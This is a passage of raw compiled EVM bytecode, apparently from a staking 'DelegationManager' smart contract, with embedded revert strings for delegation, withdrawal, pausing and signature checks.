c91614806113bb5750336001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616145b6113d75760405162461bcd60e51b8152600401610ab59061547e565b6113e08361153f565b15611092576001600160a01b038084166000908152609a602052604090205416611090818585856138ee565b6066546002906004908116036114345760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036114865760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c95560005b8881101561152e576115268a8a838181106114ab576114ab6152db565b90506020028101906114bd9190615540565b8989848181106114cf576114cf6152db565b90506020028101906114e19190615348565b8989868181106114f3576114f36152db565b9050602002013588888781811061150c5761150c6152db565b90506020020160208101906115219190615556565b613969565b60010161148e565b5050600160c9555050505050505050565b6001600160a01b039081166000908152609a602052604090205416151590565b60655460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa1580156115a7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115cb91906154db565b6115e75760405162461bcd60e51b8152600401610ab5906154f8565b600019606681905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b60008160405160200161163991906155f2565b604051602081830303815290604052805190602001209050919050565b60665460029060049081160361167e5760405162461bcd60e51b8152600401610ab5906152f1565b600260c954036116d05760405162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c006044820152606401610ab5565b600260c9556116e28686868686613969565b5050600160c95550505050565b6116f76133a7565b610fdd816137f4565b6001600160a01b039081166000818152609a60205260409020549091161490565b6117296133a7565b61173360006137a2565b565b42836020015110156117b95760405162461bcd60e51b815260206004820152604160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b6572207369676e6174757265206578706972656064820152601960fa1b608482015260a401610ab5565b6117c28561153f565b1561184b5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a207374616b657220697320616c726561647920616374697660648201526c195b1e4819195b1959d85d1959609a1b608482015260a401610ab5565b61185484611700565b6118e05760405162461bcd60e51b815260206004820152605160248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f4279536960448201527f676e61747572653a206f70657261746f72206973206e6f7420726567697374656064820152703932b21034b71022b4b3b2b72630bcb2b960791b608482015260a401610ab5565b6000609b6000876001600160a01b03166001600160a01b03168152602001908152602001600020549050600061191c8783888860200151611b05565b6001600160a01b0388166000908152609b60205260409020600184019055855190915061194c9088908390614152565b61195887878686612fa0565b50505050505050565b6060600082516001600160401b0381111561197e5761197e614be6565b6040519080825280602002602001820160405280156119a7578160200160208202803683370190505b50905060005b83518110156109be576001600160a01b038516600090815260986020526040812085519091908690849081106119e5576119e56152db565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002054828281518110611a2057611a206152db565b60209081029190910101526001016119ad565b611a3c33611700565b611abe5760405162461bcd60e51b815260206004820152604760248201527f44656c65676174696f6e4d616e616765722e7570646174654f70657261746f7260448201527f4d657461646174615552493a2063616c6c6572206d75737420626520616e206f6064820152663832b930ba37b960c91b608482015260a401610ab5565b336001600160a01b03167f02a919ed0e2acad1dd90f17ef2fa4ae5462ee1339170034a8531cca4b67080908383604051611af99291906153e8565b60405180910390a25050565b604080517f39111bc4a4d688e1f685123d7497d4615370152a8ee4a0593e647bd06ad8bb0b6020808301919091526001600160a01b0387811683850152851660608301526080820186905260a08083018590528351808403909101815260c0909201909252805191012060009081611b7b612652565b60405161190160f01b602082015260228101919091526042810183905260620160408051808303601f190181529190528051602090910120979650505050505050565b6040516360f4062b60e01b81526001600160a01b03828116600483015260609182916000917f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6909116906360f4062b90602401602060405180830381865afa158015611c2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c529190615605565b6040516394f649dd60e01b81526001600160a01b03868116600483015291925060009182917f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9909116906394f649dd90602401600060405180830381865afa158015611cc2573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611cea919081019061567c565b9150915060008313611d0157909590945092505050565b6060808351600003611dba576040805160018082528183019092529060208083019080368337505060408051600180825281830190925292945090506020808301908036833701905050905073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac082600081518110611d7557611d756152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508481600081518110611da957611da96152db565b602002602001018181525050611f68565b8351611dc7906001615753565b6001600160401b03811115611dde57611dde614be6565b604051908082528060200260200182016040528015611e07578160200160208202803683370190505b50915081516001600160401b03811115611e2357611e23614be6565b604051908082528060200260200182016040528015611e4c578160200160208202803683370190505b50905060005b8451811015611ee657848181518110611e6d57611e6d6152db565b6020026020010151838281518110611e8757611e876152db565b60200260200101906001600160a01b031690816001600160a01b031681525050838181518110611eb957611eb96152db565b6020026020010151828281518110611ed357611ed36152db565b6020908102919091010152600101611e52565b5073beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac08260018451611f0b9190615766565b81518110611f1b57611f1b6152db565b60200260200101906001600160a01b031690816001600160a01b031681525050848160018451611f4b9190615766565b81518110611f5b57611f5b6152db565b6020026020010181815250505b9097909650945050505050565b606654606090600190600290811603611fa05760405162461bcd60e51b8152600401610ab5906152f1565b611fa98361153f565b6120295760405162461bcd60e51b8152602060048201526044602482018190527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a207374908201527f616b6572206d7573742062652064656c65676174656420746f20756e64656c656064820152636761746560e01b608482015260a401610ab5565b61203283611700565b156120a55760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a206f7060448201527f657261746f72732063616e6e6f7420626520756e64656c6567617465640000006064820152608401610ab5565b6001600160a01b0383166121215760405162461bcd60e51b815260206004820152603c60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6e6e6f7420756e64656c6567617465207a65726f2061646472657373000000006064820152608401610ab5565b6001600160a01b038084166000818152609a6020526040902054909116903314806121545750336001600160a01b038216145b8061217b57506001600160a01b038181166000908152609960205260409020600101541633145b6121ed5760405162461bcd60e51b815260206004820152603d60248201527f44656c65676174696f6e4d616e616765722e756e64656c65676174653a20636160448201527f6c6c65722063616e6e6f7420756e64656c6567617465207374616b65720000006064820152608401610ab5565b6000806121f986611bbe565b9092509050336001600160a01b0387161461224f57826001600160a01b0316866001600160a01b03167ff0eddf07e6ea14f388b47e1e94a0f464ecbd9eed4171130e0fc0e99fb4030a8a60405160405180910390a35b826001600160a01b0316866001600160a01b03167ffee30966a256b71e14bc0ebfc94315e28ef4a97a7131a9e2b7a310a73af4467660405160405180910390a36001600160a01b0386166000908152609a6020526040812080546001600160a01b0319169055825190036122d3576040805160008152602081019091529450612425565b81516001600160401b038111156122ec576122ec614be6565b604051908082528060200260200182016040528015612315578160200160208202803683370190505b50945060005b82518110156124235760408051600180825281830190925260009160208083019080368337505060408051600180825281830190925292935060009291506020808301908036833701905050905084838151811061237b5761237b6152db565b602002602001015182600081518110612396576123966152db565b60200260200101906001600160a01b031690816001600160a01b0316815250508383815181106123c8576123c86152db565b6020026020010151816000815181106123e3576123e36152db565b6020026020010181815250506123fc89878b85856127eb565b88848151811061240e5761240e6152db565b6020908102919091010152505060010161231b565b505b50505050919050565b6124373361153f565b156124b55760405162461bcd60e51b815260206004820152604260248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a20737460448201527f616b657220697320616c7265616479206163746976656c792064656c65676174606482015261195960f21b608482015260a401610ab5565b6124be83611700565b61253f5760405162461bcd60e51b815260206004820152604660248201527f44656c65676174696f6e4d616e616765722e64656c6567617465546f3a206f7060448201527f657261746f72206973206e6f74207265676973746572656420696e2045696765606482015265372630bcb2b960d11b608482015260a401610ab5565b61109233848484612fa0565b61255433611700565b6125d25760405162461bcd60e51b815260206004820152604360248201527f44656c65676174696f6e4d616e616765722e6d6f646966794f70657261746f7260448201527f44657461696c733a2063616c6c6572206d75737420626520616e206f706572616064820152623a37b960e91b608482015260a401610ab5565b610fdd3382612dad565b6125e46133a7565b6001600160a01b0381166126495760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610ab5565b610fdd816137a2565b60007f0000000000000000000000000000000000000000000000000000000000007a694603612682575060975490565b61268a61370b565b905090565b606560009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156126e2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127069190615417565b6001600160a01b0316336001600160a01b0316146127365760405162461bcd60e51b8152600401610ab590615434565b6066541981196066541916146127b45760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610ab5565b606681905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c906020016111cb565b60006001600160a01b0386166128825760405162461bcd60e51b815260206004820152605060248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374616b65722063616e6e6f7460648201526f206265207a65726f206164647265737360801b608482015260a401610ab5565b825160000361290f5760405162461bcd60e51b815260206004820152604d60248201527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448201527f6e6451756575655769746864726177616c3a207374726174656769657320636160648201526c6e6e6f7420626520656d70747960981b608482015260a401610ab5565b60005b8351811015612cbb576001600160a01b03861615612968576129688688868481518110612941576129416152db565b602002602001015186858151811061295b5761295b6152db565b602002602001015161332c565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac06001600160a01b0316848281518110612998576129986152db565b60200260200101516001600160a01b031603612a60577f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe66001600160a01b031663beffbb89888584815181106129f0576129f06152db565b60200260200101516040518363ffffffff1660e01b8152600401612a299291906001600160a01b03929092168252602082015260400190565b600060405180830381600087803b158015612a4357600080fd5b505af1158015612a57573d6000803e3d6000fd5b50505050612cb3565b846001600160a01b0316876001600160a01b03161480612b3257507f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b0316639b4da03d858381518110612abc57612abc6152db565b60200260200101516040518263ffffffff1660e01b8152600401612aef91906001600160a01b0391909116815260200190565b602060405180830381865afa158015612b0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612b3091906154db565b155b612bfe5760405162461bcd60e51b8152602060048201526084602482018190527f44656c65676174696f6e4d616e616765722e5f72656d6f76655368617265734160448301527f6e6451756575655769746864726177616c3a2077697468647261776572206d7560648301527f73742062652073616d652061646472657373206173207374616b657220696620908201527f746869726450617274795472616e7366657273466f7262696464656e2061726560a482015263081cd95d60e21b60c482015260e401610ab5565b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b0316638c80d4e588868481518110612c4057612c406152db565b6020026020010151868581518110612c5a57612c5a6152db565b60200260200101516040518463ffffffff1660e01b8152600401612c8093929190615779565b600060405180830381600087803b158015612c9a57600080fd5b505af1158015612cae573d6000803e3d6000fd5b505050505b600101612912565b506001600160a01b0386166000908152609f60205260408120805491829190612ce38361579d565b919050555060006040518060e00160405280896001600160a01b03168152602001886001600160a01b03168152602001876001600160a01b031681526020018381526020014363ffffffff1681526020018681526020018581525090506000612d4b82611626565b6000818152609e602052604090819020805460ff19166001179055519091507f9009ab153e8014fbfb02f2217f5cde7aa7f9ad734ae85ca3ee3f4ca2fdd499f990612d9990839085906157b6565b60405180910390a198975050505050505050565b6213c680612dc160608301604084016157cf565b63ffffffff161115612e765760405162461bcd60e51b815260206004820152606c60248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527f63616e6e6f74206265203e204d41585f5354414b45525f4f50545f4f55545f5760848201526b494e444f575f424c4f434b5360a01b60a482015260c401610ab5565b6001600160a01b0382166000908152609960205260409081902060010154600160a01b900463ffffffff1690612eb290606084019084016157cf565b63ffffffff161015612f485760405162461bcd60e51b815260206004820152605360248201527f44656c65676174696f6e4d616e616765722e5f7365744f70657261746f72446560448201527f7461696c733a207374616b65724f70744f757457696e646f77426c6f636b732060648201527218d85b9b9bdd08189948191958dc99585cd959606a1b608482015260a401610ab5565b6001600160a01b03821660009081526099602052604090208190612f6c828261580c565b505060405133907ffebe5cd24b2cbc7b065b9d0fdeb904461e4afcff57dd57acda1e7832031ba7ac90611af9908490615391565b606654600090600190811603612fc85760405162461bcd60e51b8152600401610ab5906152f1565b6001600160a01b03808516600090815260996020526040902060010154168015801590612ffe5750336001600160a01b03821614155b80156130135750336001600160a01b03861614155b156131805742846020015110156130925760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f766572207369676e617475726520657870697265640000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845290915290205460ff161561312c5760405162461bcd60e51b815260206004820152603760248201527f44656c65676174696f6e4d616e616765722e5f64656c65676174653a2061707060448201527f726f76657253616c7420616c7265616479207370656e740000000000000000006064820152608401610ab5565b6001600160a01b0381166000908152609c6020908152604080832086845282528220805460ff1916600117905585015161316d9088908890859088906109c8565b905061317e82828760000151614152565b505b6001600160a01b038681166000818152609a602052604080822080546001600160a01b031916948a169485179055517fc3ee9f2e5fda98e8066a1f745b2df9285f416fe98cf2559cd21484b3d87433049190a36000806131df88611bbe565b9150915060005b82518110156113515761322d888a858481518110613206576132066152db565b6020026020010151858581518110613220576132206152db565b60200260200101516138ee565b6001016131e6565b6001600160a01b0381166132c35760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610ab5565b606554604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1606580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613363908490615766565b92505081905550836001600160a01b03167f6909600037b75d7b4733aedd815442b5ec018a827751c832aaff64eba5d6d2dd848484604051610f1f93929190615779565b6033546001600160a01b031633146117335760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610ab5565b8281146134895760405162461bcd60e51b815260206004820152604a60248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a20696e707574206c656e67746064820152690d040dad2e6dac2e8c6d60b31b608482015260a401610ab5565b8260005b818110156136195760008686838181106134a9576134a96152db565b90506020020160208101906134be919061499b565b6001600160a01b038116600090815260a160205260408120549192508686858181106134ec576134ec6152db565b90506020020135905062034bc08111156135b05760405162461bcd60e51b815260206004820152607360248201527f44656c65676174696f6e4d616e616765722e5f7365745374726174656779576960448201527f746864726177616c44656c6179426c6f636b733a205f7769746864726177616c60648201527f44656c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544860848201527244524157414c5f44454c41595f424c4f434b5360681b60a482015260c401610ab5565b6001600160a01b038316600081815260a160209081526040918290208490558151928352820184905281018290527f0e7efa738e8b0ce6376a0c1af471655540d2e9a81647d7b09ed823018426576d9060600160405180910390a150505080600101905061348d565b505050505050565b6065546001600160a01b031615801561364257506001600160a01b03821615155b6136c45760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610ab5565b606681905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a261370782613235565b5050565b604080518082018252600a81526922b4b3b2b72630bcb2b960b11b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f71b625cfad44bac63b13dba07f2e1d6084ee04b6f8752101ece6126d584ee6ea81840152466060820152306080808301919091528351808303909101815260a0909101909252815191012090565b603380546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b62034bc08111156138ad5760405162461bcd60e51b815260206004820152607160248201527f44656c65676174696f6e4d616e616765722e5f7365744d696e5769746864726160448201527f77616c44656c6179426c6f636b733a205f6d696e5769746864726177616c446560648201527f6c6179426c6f636b732063616e6e6f74206265203e204d41585f5749544844526084820152704157414c5f44454c41595f424c4f434b5360781b60a482015260c401610ab5565b609d5460408051918252602082018390527fafa003cd76f87ff9d62b35beea889920f33c0c42b8d45b74954d61d50f4b6b69910160405180910390a1609d55565b6001600160a01b03808516600090815260986020908152604080832093861683529290529081208054839290613925908490615753565b92505081905550836001600160a01b03167f1ec042c965e2edd7107b51188ee0f383e22e76179041ab3a9d18ff151405166c848484604051610f1f93929190615779565b60006139776105f38761586f565b6000818152609e602052604090205490915060ff166139f85760405162461bcd60e51b8152602060048201526043602482015260008051602061599983398151915260448201527f645769746864726177616c3a20616374696f6e206973206e6f7420696e20717560648201526265756560e81b608482015260a401610ab5565b609d544390613a0d60a0890160808a016157cf565b63ffffffff16613a1d9190615753565b1115613aa55760405162461bcd60e51b815260206004820152605f602482015260008051602061599983398151915260448201527f645769746864726177616c3a206d696e5769746864726177616c44656c61794260648201527f6c6f636b7320706572696f6420686173206e6f74207965742070617373656400608482015260a401610ab5565b613ab5606087016040880161499b565b6001600160a01b0316336001600160a01b031614613b425760405162461bcd60e51b8152602060048201526050602482015260008051602061599983398151915260448201527f645769746864726177616c3a206f6e6c7920776974686472617765722063616e60648201526f1031b7b6b83632ba329030b1ba34b7b760811b608482015260a401610ab5565b8115613bc457613b5560a0870187615348565b85149050613bc45760405162461bcd60e51b8152602060048201526042602482015260008051602061599983398151915260448201527f645769746864726177616c3a20696e707574206c656e677468206d69736d61746064820152610c6d60f31b608482015260a401610ab5565b6000818152609e60205260409020805460ff191690558115613d295760005b613bf060a0880188615348565b9050811015613d23574360a16000613c0b60a08b018b615348565b85818110613c1b57613c1b6152db565b9050602002016020810190613c30919061499b565b6001600160a01b03168152602081019190915260400160002054613c5a60a08a0160808b016157cf565b63ffffffff16613c6a9190615753565b1115613c885760405162461bcd60e51b8152600401610ab59061587b565b613d1b613c98602089018961499b565b33613ca660a08b018b615348565b85818110613cb657613cb66152db565b9050602002016020810190613ccb919061499b565b613cd860c08c018c615348565b86818110613ce857613ce86152db565b905060200201358a8a87818110613d0157613d016152db565b9050602002016020810190613d16919061499b565b61430c565b600101613be3565b50614117565b336000908152609a60205260408120546001600160a01b0316905b613d5160a0890189615348565b9050811015614114574360a16000613d6c60a08c018c615348565b85818110613d7c57613d7c6152db565b9050602002016020810190613d91919061499b565b6001600160a01b03168152602081019190915260400160002054613dbb60a08b0160808c016157cf565b63ffffffff16613dcb9190615753565b1115613de95760405162461bcd60e51b8152600401610ab59061587b565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeac0613e0b60a08a018a615348565b83818110613e1b57613e1b6152db565b9050602002016020810190613e30919061499b565b6001600160a01b031603613f7f576000613e4d60208a018a61499b565b905060006001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe616630e81073c83613e8e60c08e018e615348565b87818110613e9e57613e9e6152db565b6040516001600160e01b031960e087901b1681526001600160a01b03909416600485015260200291909101356024830152506044016020604051808303816000875af1158015613ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613f169190615605565b6001600160a01b038084166000908152609a6020526040902054919250168015613f7757613f778184613f4c60a08f018f615348565b88818110613f5c57613f5c6152db565b9050602002016020810190613f71919061499b565b856138ee565b50505061410c565b7f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c96001600160a01b031663c4623ea133898985818110613fc157613fc16152db565b9050602002016020810190613fd6919061499b565b613fe360a08d018d615348565b86818110613ff357613ff36152db565b9050602002016020810190614008919061499b565b61401560c08e018e615348565b87818110614025576140256152db565b60405160e088901b6001600160e01b03191681526001600160a01b03968716600482015294861660248601529290941660448401526020909102013560648201526084019050600060405180830381600087803b15801561408557600080fd5b505af1158015614099573d6000803e3d6000fd5b505050506001600160a01b0382161561410c5761410c82336140be60a08c018c615348565b858181106140ce576140ce6152db565b90506020020160208101906140e3919061499b565b6140f060c08d018d615348565b86818110614100576141006152db565b905060200201356138ee565b600101613d44565b50505b6040518181527fc97098c2f658800b4df29001527f7324bcdffcf6e8751a699ab920a1eced5b1d9060200160405180910390a1505050505050565b6001600160a01b0383163b1561426c57604051630b135d3f60e11b808252906001600160a01b03851690631626ba7e906141929086908690600401615903565b602060405180830381865afa1580156141af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141d39190615958565b6001600160e01b031916146110925760405162461bcd60e51b815260206004820152605360248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a2045524331323731207369676e6174757265206064820152721d995c9a599a58d85d1a5bdb8819985a5b1959606a1b608482015260a401610ab5565b826001600160a01b0316614280838361444c565b6001600160a01b0316146110925760405162461bcd60e51b815260206004820152604760248201527f454950313237315369676e61747572655574696c732e636865636b5369676e6160448201527f747572655f454950313237313a207369676e6174757265206e6f742066726f6d6064820152661039b4b3b732b960c91b608482015260a401610ab5565b73beac0eeeeeeeeeeeeeeeeeeeeeeeeeeeeeebeabf196001600160a01b038416016143b75760405162387b1360e81b81526001600160a01b037f0000000000000000000000002279b7a0a67db372996a5fab50d91eaa73d2ebe6169063387b13009061438090889088908790600401615779565b600060405180830381600087803b15801561439a57600080fd5b505af11580156143ae573d6000803e3d6000fd5b50505050614445565b60405163c608c7f360e01b81526001600160a01b03858116600483015284811660248301526044820184905282811660648301527f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c9169063c608c7f390608401600060405180830381600087803b15801561443157600080fd5b505af1158015611351573d6000803e3d6000fd5b5050505050565b600080600061445b8585614468565b915091506109be816144d6565b600080825160410361449e5760208301516040840151606085015160001a6144928782858561468c565b945094505050506144cf565b82516040036144c757602083015160408401516144bc868383614779565b9350935050506144cf565b506000905060025b9250929050565b60008160048111156144ea576144ea615982565b036144f25750565b600181600481111561450657614506615982565b036145535760405162461bcd60e51b815260206004820152601860248201527f45434453413a20696e76616c6964207369676e617475726500000000000000006044820152606401610ab5565b600281600481111561456757614567615982565b036145b45760405162461bcd60e51b815260206004820152601f60248201527f45434453413a20696e76616c6964207369676e6174757265206c656e677468006044820152606401610ab5565b60038160048111156145c8576145c8615982565b036146205760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604482015261756560f01b6064820152608401610ab5565b600481600481111561463457614634615982565b03610fdd5760405162461bcd60e51b815260206004820152602260248201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604482015261756560f01b6064820152608401610ab5565b6000807f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08311156146c35750600090506003614770565b8460ff16601b141580156146db57508460ff16601c14155b156146ec5750600090506004614770565b6040805160008082526020820180845289905260ff881692820192909252606081018690526080810185905260019060a0016020604051602081039080840390855afa158015614740573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b03811661476957600060019250925050614770565b9150600090505b94509492505050565b6000806001600160ff1b0383168161479660ff86901c601b615753565b90506147a48782888561468c565b935093505050935093915050565b60008083601f8401126147c457600080fd5b5081356001600160401b038111156147db57600080fd5b6020830191508360208260051b85010111156144cf57600080fd5b6000806020838503121561480957600080fd5b82356001600160401b0381111561481f57600080fd5b61482b858286016147b2565b90969095509350505050565b6001600160a01b0381168114610fdd57600080fd5b803561485781614837565b919050565b600080600080600060a0868803121561487457600080fd5b853561487f81614837565b9450602086013561488f81614837565b9350604086013561489f81614837565b94979396509394606081013594506080013592915050565b602080825282518282018190526000918401906040840190835b81811015610ddd5783518352602093840193909201916001016148d1565b60006060828403121561490157600080fd5b50919050565b60008083601f84011261491957600080fd5b5081356001600160401b0381111561493057600080fd5b6020830191508360208285010111156144cf57600080fd5b60008060006080848603121561495d57600080fd5b61496785856148ef565b925060608401356001600160401b0381111561498257600080fd5b61498e86828701614907565b9497909650939450505050565b6000602082840312156149ad57600080fd5b81356149b881614837565b9392505050565b6000806000606084860312156149d457600080fd5b83356149df81614837565b925060208401356149ef81614837565b929592945050506040919091013590565b600060208284031215614a1257600080fd5b5035919050565b60008060008060408587031215614a2f57600080fd5b84356001600160401b03811115614a4557600080fd5b614a51878288016147b2565b90955093505060208501356001600160401b03811115614a7057600080fd5b614a7c878288016147b2565b95989497509550505050565b60008060008060008060008060c0898b031215614aa457600080fd5b8835614aaf81614837565b97506020890135614abf81614837565b9650604089013595506060890135945060808901356001600160401b03811115614ae857600080fd5b614af48b828c016147b2565b90955093505060a08901356001600160401b03811115614b1357600080fd5b614b1f8b828c016147b2565b999c989b5096995094979396929594505050565b6000806000806000806000806080898b031215614b4f57600080fd5b88356001600160401b03811115614b6557600080fd5b614b718b828c016147b2565b90995097505060208901356001600160401b03811115614b9057600080fd5b614b9c8b828c016147b2565b90975095505060408901356001600160401b03811115614bbb57600080fd5b614bc78b828c016147b2565b90955093505060608901356001600160401b03811115614b1357600080fd5b634e487b7160e01b600052604160045260246000fd5b60405160e081016001600160401b0381118282101715614c1e57614c1e614be6565b60405290565b604080519081016001600160401b0381118282101715614c1e57614c1e614be6565b604051601f8201601f191681016001600160401b0381118282101715614c6e57614c6e614be6565b604052919050565b63ffffffff81168114610fdd57600080fd5b803561485781614c76565b60006001600160401b03821115614cac57614cac614be6565b5060051b60200190565b600082601f830112614cc757600080fd5b8135614cda614cd582614c93565b614c46565b8082825260208201915060208360051b860101925085831115614cfc57600080fd5b602085015b83811015614d22578035614d1481614837565b835260209283019201614d01565b5095945050505050565b600082601f830112614d3d57600080fd5b8135614d4b614cd582614c93565b8082825260208201915060208360051b860101925085831115614d6d57600080fd5b602085015b83811015614d22578035835260209283019201614d72565b600060e08284031215614d9c57600080fd5b614da4614bfc565b9050614daf8261484c565b8152614dbd6020830161484c565b6020820152614dce6040830161484c565b604082015260608281013590820152614de960808301614c88565b608082015260a08201356001600160401b03811115614e0757600080fd5b614e1384828501614cb6565b60a08301525060c08201356001600160401b03811115614e3257600080fd5b614e3e84828501614d2c565b60c08301525092915050565b600060208284031215614e5c57600080fd5b81356001600160401b03811115614e7257600080fd5b614e7e84828501614d8a565b949350505050565b600060208284031215614e9857600080fd5b813560ff811681146149b857600080fd5b8015158114610fdd57600080fd5b600080600080600060808688031215614ecf57600080fd5b85356001600160401b03811115614ee557600080fd5b860160e08189031215614ef757600080fd5b945060208601356001600160401b03811115614f1257600080fd5b614f1e888289016147b2565b909550935050604086013591506060860135614f3981614ea9565b809150509295509295909350565b60008060408385031215614f5a57600080fd5b8235614f6581614837565b91506020830135614f7581614837565b809150509250929050565b600060408284031215614f9257600080fd5b614f9a614c24565b905081356001600160401b03811115614fb257600080fd5b8201601f81018413614fc357600080fd5b80356001600160401b03811115614fdc57614fdc614be6565b614fef601f8201601f1916602001614c46565b81815285602083850101111561500457600080fd5b81602084016020830137600060209282018301528352928301359282019290925292915050565b600080600080600060a0868803121561504357600080fd5b853561504e81614837565b9450602086013561505e81614837565b935060408601356001600160401b0381111561507957600080fd5b61508588828901614f80565b93505060608601356001600160401b038111156150a157600080fd5b6150ad88828901614f80565b95989497509295608001359392505050565b600080604083850312156150d257600080fd5b82356150dd81614837565b915060208301356001600160401b038111156150f857600080fd5b61510485828601614cb6565b9150509250929050565b600081518084526020840193506020830160005b82811015615140578151865260209586019590910190600101615122565b5093949350505050565b6020815260006149b8602083018461510e565b6000806020838503121561517057600080fd5b82356001600160401b0381111561518657600080fd5b61482b85828601614907565b600080604083850312156151a557600080fd5b82356151b081614837565b946020939093013593505050565b600080600080608085870312156151d457600080fd5b84356151df81614837565b93506020850135925060408501356151f681614837565b9396929550929360600135925050565b600081518084526020840193506020830160005b828110156151405781516001600160a01b031686526020958601959091019060010161521a565b6040815260006152546040830185615206565b828103602084015261120f818561510e565b60008060006060848603121561527b57600080fd5b833561528681614837565b925060208401356001600160401b038111156152a157600080fd5b6152ad86828701614f80565b93969395505050506040919091013590565b6000606082840312156152d157600080fd5b6149b883836148ef565b634e487b7160e01b600052603260045260246000fd5b60208082526019908201527f5061757361626c653a20696e6465782069732070617573656400000000000000604082015260600190565b60008235605e1983360301811261533e57600080fd5b9190910192915050565b6000808335601e1984360301811261535f57600080fd5b8301803591506001600160401b0382111561537957600080fd5b6020019150600581901b36038213156144cf57600080fd5b6060810182356153a081614837565b6001600160a01b0316825260208301356153b981614837565b6001600160a01b0316602083015260408301356153d581614c76565b63ffffffff811660408401525092915050565b60208152816020820152818360408301376000818301604090810191909152601f909201601f19160101919050565b60006020828403121561542957600080fd5b81516149b881614837565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b60208082526037908201527f44656c65676174696f6e4d616e616765723a206f6e6c7953747261746567794d60408201527f616e616765724f72456967656e506f644d616e61676572000000000000000000606082015260800190565b6000602082840312156154ed57600080fd5b81516149b881614ea9565b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b6000823560de1983360301811261533e57600080fd5b600060208284031215615568576